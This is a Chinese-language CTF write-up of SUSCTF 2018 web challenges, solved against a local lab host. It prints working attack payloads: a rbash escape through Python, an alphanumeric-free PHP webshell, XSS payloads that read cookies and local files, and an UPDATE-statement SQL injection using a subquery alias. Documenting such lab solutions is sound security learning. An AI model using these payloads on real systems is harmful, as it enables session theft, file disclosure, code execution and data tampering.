SUSCTF 2018 做题记录

前言

最近好久都没做题目,刚好上次搭的题目还在,就不要浪费了,记录记录做题过程吧

正文

minBash

这个题目考的点是沙盒绕过,第一次玩这个东西??反正进去之后尝试ls,cat,file等各种那个命令均无效果,都会显示
-rbash: ls: command not found
发现有一篇好文章,有空瞅瞅:http://cauc.me/2017/11/16/python沙盒绕过/
一开始谷歌一下,发现解决办法是这样的

1
export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin

输入之后发现还是不行显示 -rbash: PATH: readonly variable
我们可以尝试python里面的库去执行,用的是os库里面的listdir函数

1
2
>>> import os
>>> os.listdir('.')

注意函数里面的.代表的是当前目录,而..代表的是上级目录,也可以是绝对路径
得到当前目录的结果为

1
['.bash_logout', '.profile', '.bashrc', 'bin', 'c8049f64c8080af25f414b15cb6f80c3']

检验一下那个一串的东西是文件还是文件夹

1
>>> os.path.isfile('c8049f64c8080af25f414b15cb6f80c3')

发现是文件,这里提供两种方法读取文件,
第一种直接用Python读取文件

1
2
>>> f = open('c8049f64c8080af25f414b15cb6f80c3','rb')
>>> f.read()

得到结果

1
'SUSCTF{e6b729cdf8885b16e7b949e85772e340}\n'

另一种是,返回到Linux命令行用strings命令

1
strings c8049f64c8080af25f414b15cb6f80c3

得到结果

1
SUSCTF{e6b729cdf8885b16e7b949e85772e340}

faster

题目说的快一点,那就试一下抓包好了,直接得到flag,这里是存在302跳转的,会跳转到1ndex.php,一开始我一直这个页面抓包可坑了,以后要注意直接从打开题目地址那一刻开始抓包-_-||
C7cZ1H.png

还有另一种做法就是直接curl一波就好了。。。不多说,水题一个

put

打开题目发现这样一句话

1
put me a message then you can get the flag

这个题目是考了传参的方式,水题。。。。
我用的两种办法
第一种
直接利用火狐的F12插件去完成put类型的传参
C7cmjA.png
查看回应发现一段base64,U3VzY3Rme3JlcXVlc3RfaW5fcHV0X21ldGhvZH0=,解码得到flag

第二种利用python写脚本上传

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8

import base64
import requests


url = 'http://192.168.1.103:4447'

res = requests.session()
ans = res.put(url=url,data='message')
print base64.b64decode(ans.content)

calculator

C7cktO.png
这个题目明显考的是脚本题。。。没学过bs,只能一直用requests庫了,过段时间还是得学习一下bs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
import requests
import time

url = 'http://192.168.1.103:4441'

res = requests.session()

ans1 = res.get(url)
# print ans1.content
calc = re.findall(r">(.*?)</div>",ans1.content)
s = "".join(calc).strip('=')
ans = eval(s)
while True:
try:
print '[+]Attacked by 0verWatch'
time.sleep(1)
ans2 = res.post(url=url,data={"ans":ans}).content
calc = re.findall(r">(.*?)</div>",ans2)
s = "".join(calc).strip('=')
ans = eval(s)
except:
print ans2
break

getshell

这个题目过滤了字母,这里参考了几篇关于webshell的文章,各种蛇皮操作。。。。
http://www.freebuf.com/articles/web/155891.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
这是自己写的payload,直接urlencode之后用bp发包得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$_=[];
$_=@"$_";

$_=@$_[0];

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___ = $_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$__= $__.$___;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$__= $__.$___;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$__= $__.$___.'_';

$__ =$__.$__[0];

$__ =$__.$__[2];
$___ = $_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$__ = $__.$___;
$___ = $_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$__ = $__.$___;
$___ = $_;
$___++;$___++;
$__ = $__.$___;
$___ = $_;
$___++;$___++;$___++;$___++;
$__ = $__.$___;
$_=[];
$_=@"$_";

$_=@$_[3];
$___ = $_;
$___++;$___++;$___++;$___++;$___++;
$____ ='';
$____ = $____.$___;
$___++;$___++;$___++;$___++;$___++;$___++;
$____ = $____ .$___;
$___ = $_;
$____ = $____ .$___;
$___++;$___++;$___++;$___++;$___++;$___++;
$____ = $____ .$___.".";
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$____ = $____ .$___;
$___ = $_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;

$____ = $____.$___;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$____ = $____.$___;


$__($____);

我不知道这一题为什么加上了双引号就不行了,试了很多次都是invalid input ,这就很尴尬了..找不到原因,希望有大佬能找到原因告诉我一声啊!!!!

babyxss

这个题目根据题意我也看不出个啥,只是看这题目是xss看一下有没有cookie存在,直接一句<img src=1 onerror=document.write(document.cookie)>看一下有什么东西出现,结果就出现flag了,看了下官方wp是用input标签的,它的wp是这个样子的<input onfocus="document.write(document.cookie)" autofocus>用的是onfoucus。。。又学到一个触发标签了,这里有解释这个标签:http://www.w3school.com.cn/jsref/event_onfocus.asp,简单说就是触发了对应的js代码,而它支持的各种标签在里面可以看得到。
PDRO74.md.png

babyxss2

这个题目我一开始也不会做,没理解题目说的啥,看了官方wp

1
<img src="e" onerror="var x=new XMLHttpRequest();x.open('GET','file:///var/www/html/flag.php',false);x.send(null);document.write('<textarea rows=10 cols=70>'+x.responseText+'</textarea>');">

发现原来是用 XMLHttpRequest()去任意读取文件,是我太菜还没学到。。还得进步

Sqli_update

打开这个题目发现有注册功能,先注册一波看一下,发现就是个修改信息的东东,再扫一下看看一下有没有可疑文件
发现有源码,下载下来
PRPj1O.md.png

发现这里面的代码执行SQL语句大部分都是这样子的,都已经预编译过了。SQL注入这个漏洞微乎其微

1
2
3
4
5
if(isset($_POST['username']) && isset($_POST['password'])){
$stmt=$mysqli->prepare('select id,password from users where username=?');
$stmt->bind_param('s',$_POST['username']);
$stmt->execute();
$stmt->store_result();

突然在我翻到update.php这个页面的时候
发现了有点不妥
PRPvcD.md.png

这个经过了addslashes函数之后竟然在age这个参数里没加单引号,这是故意而为之????
不管了,这是可以注入的,我以前的博客讲过 https://0verwatch.top/sql-inject-protect.html
PRPxje.md.png

然后登陆后立即试,bp抓包改一下age的值,然后查看源码得到flag
PRiSnH.png
注意这里的a是别名的意思,其实省略了个as
不然会报错的,自己可以在MySQL里面尝试一下

解决的方发就是起别名,这或许是mysql的特性吧
https://blog.csdn.net/cao478208248/article/details/28122113

但是注意了我们这里不能直接上手把age里面的内容改为

1
(select description from users where username=0x61646d696e)

会报错的
PRiPAI.md.png
这是因为MySQL的原因,也就是同一个表的时候不能select完之后在同一个表直接update,而我们可以起个别名把他变成另外一个表即可,也就是上面的做法,以后在update注入的时候得注意如果是对同一个表进行操作的时候就得弄个新表了
https://blog.csdn.net/priestmoon/article/details/8016121

Payload:

1
(select description from(select * from users where username=0x61646d696e)a)

结语

先记录着这么多先吧,明天再把剩下的题目完成,赶紧复习一波微机原理,不然明天的汇编又该看不懂了,最近事真多,Yii框架啥的还没写完,烦。。。


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 前言
  2. 2. 正文
    1. 2.1. minBash
    2. 2.2. faster
    3. 2.3. put
    4. 2.4. calculator
    5. 2.5. getshell
    6. 2.6. babyxss
    7. 2.7. babyxss2
    8. 2.8. Sqli_update
  3. 3. 结语